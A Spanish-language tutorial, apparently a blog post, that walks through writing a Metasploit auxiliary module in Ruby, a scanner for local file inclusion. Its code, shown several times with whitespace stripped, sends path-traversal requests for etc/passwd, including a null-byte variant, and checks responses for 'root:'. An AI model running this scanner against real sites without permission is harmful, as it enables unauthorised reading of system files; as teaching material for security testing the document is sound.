La idea de comenzar a aprender ruby llego solo por el echo de poder ver en la consola del msf un auxiliar escrito por mi, la API de metasploit no es un muy complicadad de llevar y con solo unos dias de practica, y es mas, ya estando familiarizados con otros lenguajes similares como lo son python y perl la forma de tomar el control de ruby se hace mas llevadera que comenzar desde cero, por suspuesto no estoy diciendo que sean realmente identicos pero ambos lenguajes poseen ciertas caracteristicas como la sencilles de su sintaxis, entre otras.
Durante este tutorial se mostrara paso a paso como aderir nuestra herramienta escrita en ruby como modulo auxiliar de msf. Para ello programe un sencillo scanner de LFI.
super() contendra la informacion de nuestro auxiliar, tales como la version, el nombre del autor, la descripcion del modulo, etc.
123456789101112131415161718
require'msf/core'classMetasploit4<Msf::Auxiliarydefinitializesuper('Name'=>'LFI scanner','Version'=>'1.0','Description'=>'Scanner para realizar inyecciones LFI','Author'=>'[Q]3rV[0]','License'=>MSF_LICENSE)register_options()endend
Por otro lado register_options() contendra las opciones del auxiliar, y es donde definiremos los argumentos para luego setearlos desde msf.
La funcion tomara dos argumentos
1
register_options([],self.class)
Dentro del array definiremos las opciones teniendo tipos como:
123
OptInt.new()# Para valores enterosOptString.new()# Para cadenasOptAddress.new()# Para direcciones
En nuestro caso quedaria de la siguiente manera
12345678910111213141516171819
require'msf/core'classMetasploit4<Msf::Auxiliarydefinitializesuper('Name'=>'LFI scanner','Version'=>'1.0','Description'=>'Scanner para realizar inyecciones LFI','Author'=>'[Q]3rV[0]','License'=>MSF_LICENSE)register_options([OptString.new('RHOST',[true,'Indique el target']),OptInt.new('TRAVERSAL',[true,'Path traversal'])],self.class)endend
Fijense la sintaxis de Optxxx
1
OptString.new('RHOST',[true,'Indique el target'])
Recibe dos argumentos, el primero indica el nombre del parametro, el segundo es un array que contiene como primer indice un valor boleano que indica si es prescindible definir esa variable, y el segundo indice contiene la descripcion de la opcion.
Bien, ahora pasemos a la parte donde hubicaremos el codigo del scanner.
Definiremos otro metodo llamado run() donde incluiremos el codigo.
require'msf/core'require'net/http'require'uri'classMetasploit4<Msf::Auxiliarydefinitializesuper('Name'=>'LFI scanner','Version'=>'1.0','Description'=>'Scanner para realizar inyecciones LFI','Author'=>'[Q]3rV[0]','License'=>MSF_LICENSE)register_options([OptString.new('RHOST',[true,'Indique el target']),OptInt.new('TRAVERSAL',[true,'Path traversal'])],self.class)enddefrun()defconn(vector)host=URI.parse(vector)returnNet::HTTP.get(host)enddefcompr(data,vector)ifdata=~/root:/puts"Parametro vulnerable a LFI -> #{vector}\n"elseputs"Not Found -> #{vector}\n"endenddeflfi(web,pb,file)a=0whilea<pba=a+1traversal="../"*a+filevector=web+traversaldata=conn(vector)compr(data,vector)endendlfi(ARGV[0],ARGV[1].to_i,"etc/passwd")lfi(ARGV[0],ARGV[1].to_i,"etc/passwd%00")endend
Pero todavia falta el pasaje de los argumentos y eso lo haremos con datastore[‘PARAMETRO’], donde PARAMETRO seran los antes definidos con Optxxx.new()
Quedando finalizado nuestro modulo auxiliar para Msf.
require'msf/core'require'net/http'require'uri'classMetasploit4<Msf::Auxiliarydefinitializesuper('Name'=>'LFI scanner','Version'=>'1.0','Description'=>'Scanner para realizar inyecciones LFI','Author'=>'[Q]3rV[0]','License'=>MSF_LICENSE)register_options([OptString.new('RHOST',[true,'Indique el target']),OptInt.new('TRAVERSAL',[true,'Path traversal'])],self.class)enddefrun()defconn(vector)host=URI.parse(vector)returnNet::HTTP.get(host)enddefcompr(data,vector)ifdata=~/root:/puts"Parametro vulnerable a LFI -> #{vector}\n"elseputs"Not Found -> #{vector}\n"endenddeflfi(web,pb,file)a=0whilea<pba=a+1traversal="../"*a+filevector=web+traversaldata=conn(vector)compr(data,vector)endendlfi(datastore['RHOST'],datastore['TRAVERSAL'],"etc/passwd")lfi(datastore['RHOST'],datastore['TRAVERSAL'],"etc/passwd%00")endend
Para terminar agregaremos el auxiliar a msf, crearemos un direcotorio en /opt/metasploit/apps/pro/msf3/modules/auxiliary y copiaremos nuestro script dentro.